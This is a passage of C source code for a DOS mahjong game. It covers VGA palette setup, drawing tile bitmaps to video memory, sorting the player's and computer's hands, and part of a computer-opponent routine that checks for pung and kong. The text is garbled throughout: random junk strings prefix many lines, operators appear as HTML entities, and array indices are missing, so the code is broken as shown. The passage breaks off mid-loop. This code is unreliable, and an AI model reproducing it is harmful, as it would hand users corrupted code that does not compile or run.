/ F: l7 \# {/ p"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
# G$ z) O% G$ e6 ^) l9 ^"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
/ r* ^( {! J3 |; r! z# s7 n"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
% I. v5 L8 t& G"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
' ^1 z* a4 L" S" Q# \"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
- W% L8 A0 x1 n5 _9 N; R/ }"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
9 W2 G% v' b! P! C) C( s3 v- Q9 {"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
4 R/ E$ M, L, q"34.bmp"};
struct every
! c' L7 H' ~& s5 l3 M1 y* T{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
int p;
. x2 O' ?0 V+ n2 ^  vint g;
$ y' A. N. P' r, C, Y/ ?int c;
& ]2 ^3 A3 B- w2 v% ~int d[2];
/ r4 D, o3 N5 ^/ Q$ w};
struct me
, B# x. [; _# B3 S0 ~* K' F{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
- I: w7 m( B" b: Q: W8 yint c; /*吃对方*/
$ {9 K& `$ d- M1 u$ N9 p6 D, Wint g; /*杠*/
; }+ h& ]! m" N  L8 k
8 X: h& g7 t" k) F% w/ R: pstruct every pp[14]; /*存放手上的牌*/
}me;
5 j2 M5 q! P0 fstruct computer
8 f1 v$ p8 G* D{ int m;
7 t. E' [% Z4 _6 _& W- qint p;
2 D' N! W. D) ^' Gint c;
4 C5 l1 T/ z; V0 {- [int g;
struct every pp[14];
3 p1 O5 ~5 U2 ]! X( N/ `. y4 @}computer,comp;

/* 设置调色板 */
$ O3 f( n; G+ g5 ovoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
5 ]4 x3 x3 Z& l8 p$ f  Ooutportb(0x3c9,b);
# [3 c4 Y5 h  f6 h}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
  r- w, A) b6 y# e- e( ovoid Set_Video_Mode(int mode)
{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
: x$ J" @) O4 R" M0 M$ Dint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
& Q- [/ B+ ^5 o+ }}
2 T) m6 f8 _" H' S( w: Y5 D2 mvoid v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
! J, W3 T! p  m0 h2 Rif(y0&gt;y1)
6 S' B" H! N3 }, j{
6 D" }0 d5 O4 i8 |+ vtemp=y1;
. |  F4 A! N) \5 W* u; Py1=y0;
y0=temp;
}
address=320*y0+x;
( @! w: ]( t/ b! f: Ffor(n=0;n&lt;=y1-y0;n++)
7 C7 l: p( ^$ S% l. n{
- V& K2 B. |$ P1 k: ivideo_buffer[address]=color;
address+=320;
* Y" ?$ J& @' Y1 U/ @' W4 a}
5 R* j, g. u: n2 C7 g- g7 K}
5 {4 B% t. b0 T% ~; lvoid h_line(int x0,int x1,int y,unsigned int color)
{ unsigned int address,n,temp;
if(x0&gt;x1)
$ J0 {% |0 A8 i( U* H% L+ i1 c{
# ^% g# r: p  E5 stemp=x1;
x1=x0;
x0=temp;
}
address=320*y+x0;
for(n=0;n&lt;=x1-x0;n++)
{
) L5 D4 w( R- V3 }9 a/ jvideo_buffer[address]=color;
address+=1;
+ r3 F1 e: k4 l$ S1 X2 n( J4 e; `}
  ]$ X9 A% v6 {) U}
. c3 [9 d. w/ {  O. D) J5 m" {void p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
1 B# _8 N4 a4 G+ W* v: A  w}
( u* |5 J8 c, p4 C' `! B2 tvoid s_square(int x,int y,int side,int color)
4 I* L* p( x7 D$ ]{
4 |- ~# g; q* P0 kh_line(x,x+side,y,color);
4 Q3 g& O- h6 i2 s  P- W8 @% nh_line(x,x+side,y+side,color);
$ @4 M6 Y& i) \! V: c0 Yv_line(y,y+side,x,color);
v_line(y,y+side,x+side,color);
}
void r_rectangle(int x1,int y1,int x2,int y2,int color)
{
h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
v_line(y1,y2,x1,color);
- s1 r/ K/ a1 d8 G  E; T+ Cv_line(y1,y2,x2,color);
2 c% }$ u9 }7 f) T2 n. e' u0 K}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
{
' L- l7 P" `' T; i$ uint i;
6 P. R  H* T/ Z* t. D& Xfor(i=y1;i&lt;=y2;i++)
{
h_line(x1,x2,i,color);
  R8 u" b: y% v# g( w9 }}
4 A9 E1 w/ B  }9 u}
  W, M( f# ?) c4 Uvoid showbmp(int l)
, @5 F% c- ~9 M; W  F2 k{ FILE *bmp;
+ A6 h/ _. k4 U* _int i,x,y;
$ @- \* i; ^3 k6 pBYTE palette[256][3];
0 f5 j0 V  t+ gbmp=fopen(me.pp[l].k,"rb");
% s$ ^  D* @8 q3 A5 J% E0 ufseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
- T; g8 R. z: ~{
7 j9 S' {7 l$ k8 b) Spalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
( p" y, j. P* ~2 _) M, spalette[0]=fgetc(bmp)&gt;&gt;2;
1 c! q3 {9 U* w% Z% y. P1 Cfgetc(bmp);
, [2 \2 f' I, _4 n/ t0 `1 ^Set_Palette(i,palette[0],palette[1],palette[2]);
1 B5 L; C. x0 ~8 G}
3 T6 M- F/ {  l/ cfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
4 @# m+ I' x$ b0 G9 s5 Tpokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
6 R4 d! K0 Q3 [fclose(bmp);
2 \2 Y- u. n% g# f8 n  |* m, P}
void showbmpd(int l)
! C1 _1 ~8 V( g{ FILE *bmp;
, }/ T6 e# v7 E0 \0 K0 Xint i,x,y;
BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
$ ]/ M# k. j) @3 L0 Z4 G{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
% b2 n2 d* ^6 `7 X; t0 cpalette[0]=fgetc(bmp)&gt;&gt;2;
. k) I, _) m" tfgetc(bmp);
. y4 i1 s: y. h! tSet_Palette(i,palette[0],palette[1],palette[2]);
* H5 M9 e; {5 f2 \$ g8 w; i}
8 N5 {) l6 C- ~: nfor (y=0;y&lt;30;y++)
8 \  Z" C# L5 x3 b$ ufor(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
" n( K- v' @9 x+ _! B# }3 o6 ufclose(bmp);
}
void showybmp(int ll)
{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
5 E% C/ V$ R2 L% f' H# {bmp=fopen(computer.pp[ll].k,"rb");
( X2 a. t, {/ O5 f7 a3 @/ J! Cfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
* s6 X; n, J9 L{
! k2 e2 \9 z2 d6 y, X  X* fpalette[2]=fgetc(bmp)&gt;&gt;2;
% t" Y& U9 h/ \1 |9 }% Cpalette[1]=fgetc(bmp)&gt;&gt;2;
/ j5 J4 K' b7 h( T) V8 L( j1 gpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
; m7 u" h- B9 X* X3 T) X+ W, Qfor (y=0;y&lt;30;y++)
1 A( s$ f2 o& H5 x* Afor(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
/ Q: ~, e8 [' y) q* k. Lfclose(bmp);
}
( ]8 }5 A& H7 U, Dvoid showcbmp(int ll)
7 G9 R! D& r6 J2 G{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
6 V" G5 J. m  n& P9 h/ X{
( X5 N( r/ f* {# t% R9 m7 ~palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
; i. n+ }2 m4 n$ T9 e; h6 ^palette[0]=fgetc(bmp)&gt;&gt;2;
9 G2 [6 ]0 @$ x: Tfgetc(bmp);
5 \; R& @1 T0 n, f" ~' h- mSet_Palette(i,palette[0],palette[1],palette[2]);
4 D. s/ _' p7 V( V1 O" g}
0 p' o7 l/ J, P0 ~1 L* F: @' ?for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
6 G% [6 x: o* ~pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
void bmpp(int number)
{ FILE *bmp;
' z' g" _" P. C& g, k$ H3 Sint i,x,y;
BYTE palette[256][3];
bmp=fopen(m[number].name,"rb");
* L$ C" ]( p9 }9 p! l3 hfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
3 b# C3 h! a) h7 W' U( h/ E{
  a5 A# H- N% e5 o6 h1 z9 jpalette[2]=fgetc(bmp)&gt;&gt;2;
$ f- ^3 v' V* kpalette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
9 g0 o& \( a5 ~fclose(bmp);
}
void comlipai() /*整理电脑的牌*/
6 N; x( n- s! X4 w) S5 q7 g# d{ int n,j,u;
int *lingshi;
2 }  N' o# A! s  Zfor(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
{
if(computer.pp[n].number&gt;computer.pp[j+1].number)
9 O, {" A, L! x8 f{
+ d2 t6 c1 [* v# \1 q9 X$ |lingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
4 R0 T6 M/ Y8 V7 d8 d% u4 B' Wcomputer.pp[j+1].k=lingshi;
4 X" n1 M* V" k* S# ]u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
! g2 ?2 M1 y6 E8 @' B5 j& Ncomputer.pp[j+1].oneorfour=u;
, G' J  B5 F! h* j0 gu=computer.pp[n].number;
- x1 a6 M) @3 F) E- ucomputer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
+ l# Y0 {0 h; \9 W}
- ]; m0 R7 m9 d. f7 E9 V( Eelse
if(computer.pp[n].number==computer.pp[j+1].number)
' g7 y% M$ ?" p3 zif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
/ C2 o) M2 w2 z0 Olingshi=computer.pp[n].k;
& K/ h) c5 n/ ]' v( f5 tcomputer.pp[n].k=computer.pp[j+1].k;
, y9 Y, m1 f, q2 _computer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
. N+ x7 U2 ^1 h: u' Q5 qcomputer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
}
}
! u* v* v* s" q' d* g2 b}
8 w& c* A' ?) j; @/ bvoid melipai()
{ int n,j,u;
, E- t/ }8 P/ V; ~7 \) V+ {int *lingshi;
( y3 K3 ]1 C2 h5 h& zfor(n=0;n&lt;me.m;n++)
: _( E1 q; e% q% d; ^+ I7 J* Ifor(j=n;j&lt;me.m;j++)
+ C, e- `! M/ L& p: Z{
) M, n6 ^' G5 X3 m6 ~9 Y% Hif(me.pp[n].number&gt;me.pp[j+1].number)
{
& Z0 W/ ^! `5 ~lingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
- M, M9 h* E/ F$ }1 @; eu=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
3 ]$ e- C- {) a4 [1 ~+ b/ c( bme.pp[j+1].number=u;
}
else
& D7 i) A: W7 D. \if(me.pp[n].number==me.pp[j+1].number)
6 g# f/ B" j; Q/ l9 r) L4 r- Z1 Sif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
{
lingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
1 U8 h' g( a. F# z, M; b* mme.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
0 R8 E( K4 A. z3 K+ Cme.pp[j+1].oneorfour=u;
3 Q7 q) x5 L+ Iu=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
! f# y3 S3 @3 K% D$ {& I  {: `me.pp[j+1].number=u;
9 U  O1 y' C1 i9 X' f9 v  o}
}
  A+ n& O; i, F( e3 X}
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
5 A3 a- G, M  _0 w/ e5 ^& N{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
; C3 u7 I# N& e& _1 r' E{
logo=1;
) S$ }4 u/ Q: C4 C$ |if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
  H3 o( B9 x7 X; \logoo=1;
0 F( ^/ z+ U* a9 T4 s$ v8 ^5 D5 ~else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
logoo=2;
( q) L- g$ n0 Q$ x* ^else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
logoo=3;
6 B- c+ q$ |+ Velse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
logoo=4;
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
3 U2 F. k4 E, ]! k# ~% @( ]. P8 wlogoo=5;
- }& F+ f9 E0 Z' Belse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
4 _/ V: S. j- g; ], `logoo=6;
$ y' [' F2 e5 O. Z' ?& D% selse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
: {6 f+ n7 L4 Z. Z7 `6 Wlogoo=7;
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
6 B  k9 ^  j! y. n8 Rlogoo=8;
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
logoo=9;
* u- P% i0 K! V4 H/ x}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
{
" D+ p: n% Q5 c' Vlogo=2;
' W) D0 J8 l2 E: K* bif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
% \3 I$ ?/ [8 x& }- E, Z4 ]logoo=1;
& b6 Z9 d4 \& D& h: \3 N/ [else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
8 E$ H& d+ a1 X4 \logoo=2;
! j% Q3 Z) }: ], `else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
logoo=3;
0 y/ x' J0 q% {- Z& ^' Felse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
logoo=4;
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
logoo=5;
8 @0 Y' E+ _# ~8 T; o* Celse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
logoo=6;
; q, Z* g( \; J0 J# delse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
/ c. D9 m' G" J, `logoo=7;
: M1 I8 z5 e3 R& J* pelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
logoo=8;
% B2 [( s' r: c1 l8 aelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
9 g+ t. ]; V( L( e) zlogoo=9;
}
3 u* X; z7 F$ {; `9 celse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
% t2 g" {6 L0 w) t{
logo=3;
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
logoo=1;
2 m2 e2 ]4 U. C, Aelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
logoo=2;
2 f9 C2 m9 {3 `- X# ]  W  q7 E$ Pelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
6 Q( `" o- Y, h& o5 g# A; f$ Wlogoo=3;
7 P! {/ g4 Y& _else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
logoo=4;
- t; f0 \! K' u+ g  i, O; Aelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
logoo=5;
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
" I6 u& O6 h/ Ilogoo=6;
1 u$ U9 M) e! U4 Delse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
" o! A) H" ~( e) ]3 E9 ~logoo=7;
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
logoo=8;
- }' |* b- V8 l; ~- C+ `! ~else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
logoo=9;
4 G, R  b+ o- d& U5 j6 `}
" {* Z6 G; a# G: {# {else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
0 g( |& Q$ v' n* j% r{
$ r, b7 o) X( A. |( z& ilogo=4;
4 O7 g7 d1 ^. J7 X8 H" i* y$ @& Eif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
logoo=1;
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
, h, d4 v, t% ?6 i; {5 a1 z- jlogoo=2;
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
logoo=3;
4 ]' G1 f8 S9 p/ P( @else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
3 a( d6 I0 M/ x6 a0 ~logoo=4;
# d# ^8 V! o& a/ j. d/ Y2 I. ~else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
& B  K8 g$ z3 w0 u+ M; ^logoo=5;
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
5 N3 J9 J) S3 L9 clogoo=6;
3 Q, `7 t' w4 b7 E7 i8 ]# }. U$ A5 ]else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
/ ]  b9 Y8 x5 I  t% R. Rlogoo=7;
" [' O& r9 a* U: ^" ^; F8 C( _}
/ W3 y# Q" q% dwhile(b&lt;=computer.m)
{
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
6 P, \! M* b  w: B' q7 b{
% S6 U/ l7 V4 k) l8 H% G8 M2 \lg=1;
computer.pp.d[0]=1;
0 I' K- B8 M6 s- x( fif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
{
lgg=1;
# T; n6 i" |8 r9 `( }% c$ Qcomputer.pp.d[1]=1;
' E; k4 @! x$ J6 G: j+ C2 p}
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
1 g" P4 y4 h2 z0 Y  q& g2 B{
+ f; T# `! _. H$ Wlgg=2;
computer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
/ M* D; M8 X8 }4 y9 o{
- U" S: O# Z7 t3 algg=3;
computer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
- G! O" M) D4 g; N) V3 v{
$ k& W1 O- _) s( o3 d6 K: Slgg=4;
* ]) J% Z2 j* A$ f3 B' W8 r; mcomputer.pp.d[1]=4;
}
5 H! M: B. {% W) z2 felse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
{
$ l% v0 ]/ A' B8 r5 |' hlgg=5;
computer.pp.d[1]=5;
( h6 c) z% `6 q2 P9 v1 |' U% x}
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
9 T2 |, N; E6 X3 i* E+ K{
5 T, k0 K' D$ a, S: ^lgg=6;
/ D3 x# w% r  a" Mcomputer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
2 m  n1 S) _  C; X- b. o{
lgg=7;
computer.pp.d[1]=7;
& ^1 [0 R$ G4 n4 D( {}
1 d% r6 Q* ?1 y; velse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
{
' J( _; E2 D! G, ~8 }3 Xlgg=8;
computer.pp.d[1]=8;
+ z" D  i$ E. b. X3 B' D9 t8 M+ v}
% F% W* P" K. @0 x4 W* n5 felse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
; ]" ?; D% H3 A{
7 @! S& T1 N2 `: E; a* j+ Glgg=9;
computer.pp.d[1]=9;
& t7 K( r' w8 J4 P}
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
+ F& B8 F$ t, `1 D{
7 _1 K7 I9 V6 e, Z  `! S5 rlg=2;
computer.pp.d[0]=2;
4 P% ?) l3 B2 @) {' N. ]if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
{
8 U- f: Q% C% a, Zlgg=1;
computer.pp.d[1]=1;
}
( R; F  M: `2 U# y6 |5 k* I9 @' melse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
{
lgg=2;
computer.pp.d[1]=2;
}
$ e, X* v) ?( D; v2 Relse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
, M. Q3 w, h- R{
! ?( Y2 C/ K7 n& mlgg=3;
computer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
8 q# N# _: ?0 c  x  Z: D{
lgg=4;
! `, ~8 s3 o( R$ `2 Vcomputer.pp.d[1]=4;
4 h. @5 x0 ~, c: D4 D- x}
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
{
lgg=5;
9 [. E' |7 c# j4 Hcomputer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
{
lgg=6;
computer.pp.d[1]=6;
& C, ?. e! v; ^' l% v  _}
# G9 L* ?5 n5 T: k( velse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
{
! Z' R: ?$ R2 g- \  {lgg=7;
computer.pp.d[1]=7;
7 i- }) p8 k" Z, O8 i, }}
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
{
% Z% T% `: l% g0 s5 }lgg=8;
computer.pp.d[1]=8;
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
" o3 t( R' V. U2 p' d{
1 M/ J( Y& i, n7 l/ x0 tlgg=9;
* @( g: t* V: o0 P0 l1 rcomputer.pp.d[1]=9;
5 [$ ^( Q. a" n}
- D" l" c' S4 |7 d}
' J+ C+ @( E( a' C! m6 v+ pelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
{
lg=3;
computer.pp.d[0]=3;
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
{
lgg=1;
computer.pp.d[1]=1;
6 ]: t1 t" _" A}
' i+ h8 o# x/ R8 u% kelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
{
lgg=2;
computer.pp.d[1]=2;
}
$ `2 t+ z! D' ?: B1 m& I) ]9 J9 eelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
- z! n; k' y; `0 K{
! ~% h3 M. m# ^4 Mlgg=3;
computer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
{
lgg=4;
computer.pp.d[1]=4;
' V+ h$ M" H8 t}
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
. N: B4 ]5 o  v{
; |0 P/ L, X% s4 P6 ~2 }( [  Ulgg=5;
$ k0 ^+ J, a1 M( ~$ W7 Bcomputer.pp.d[1]=5;
+ Y6 T' I1 H! f; Z}
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
, \, U. P% Q" B5 a8 [( _. U. J{
$ C; H+ [4 @- L: L  ~/ glgg=6;
computer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
{
0 x- _! x: @  c6 h* vlgg=7;
computer.pp.d[1]=7;
! ^# R: S* Z1 J2 S4 i4 r}
. D  J  R1 r0 y4 b0 `  R1 gelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
) z: [5 {3 f, B7 P4 J. l6 O0 E{
" I) b7 c' {$ \( wlgg=8;
4 F* F) _+ n# Y- H6 P' N0 |. Xcomputer.pp.d[1]=8;
}
% s/ p8 q6 P+ v3 P) D5 melse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
2 `8 X0 o4 X, l* f{
lgg=9;
1 Z! L& A& ~' m) Qcomputer.pp.d[1]=9;
  n8 w$ a; Z* S. V- _7 U) E}
3 V% K- R9 {" l8 j( F' i+ h}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
{
lg=4;
' r, }. s) a0 R; x3 d- lcomputer.pp.d[0]=4;
/ q4 }# {3 U) R+ H7 _  {! R' rif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
5 Q3 F+ F8 \7 m{
lgg=1;
computer.pp.d[1]=1;
}
# V" @2 C; Q% A( ]4 K& h* G* `6 z0 n2 Nelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
; B9 a; |6 a! ]; ?& W5 ~{
lgg=2;
computer.pp.d[1]=2;
7 I. L! M* @* C}
5 V( R+ M  |2 y5 U" ?- e- ~else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
{
lgg=3;
5 S2 E" _$ l# ^" t! T3 T' F9 zcomputer.pp.d[1]=3;
}
! C/ G1 O) B9 J9 X2 c* delse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
{
) m5 E8 X! s+ @+ Tlgg=4;
computer.pp.d[1]=4;
}
! J2 R* Y$ N& {/ I/ o1 A, E+ kelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
lgg=5;
computer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
{
lgg=6;
5 f* s- }2 ]/ w$ v& I- dcomputer.pp.d[1]=6;
}
9 D: o( h8 r- Helse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
{
# ~0 S0 _0 y  J- ~0 J7 T/ k/ c2 Slgg=7;
computer.pp.d[1]=7;
}
5 E  u; j* ~% j' a}

1 y5 g, \& X. n# u1 Mif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
2 T$ H# H2 L0 G# ]2 A: Epg++;
9 \: c) z5 m+ ^; Wch.lg=lg; /*保存电脑手里的每张牌的信息*/
2 {8 {+ m( ]- @! @! k: ~5 a; V2 rch.lgg=lgg;
! d2 z6 g) T8 Z. O/ x% z9 k3 Blg=0;
4 @4 C: T3 Z) l6 W) M1 plgg=0;
- u. A5 `2 s0 M  N. o4 T+ n# m; z% ], pb++;
: B4 I, x& z( \- y; Y8 F}
if(pg==2) /*乓*/
{
8 C- t: C3 h8 I4 \5 H" M) o1 ]
# C- M: ?" R( A# V: xsing=1;
b=computer.m;
) c  V4 S. C% U/ T- m& Y' N7 ywhile(b!=-1)
3 J+ |) m$ g; `" @+ y  l# p{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.p=1;
2 P- N' a0 N" X! c* @: L
b--;
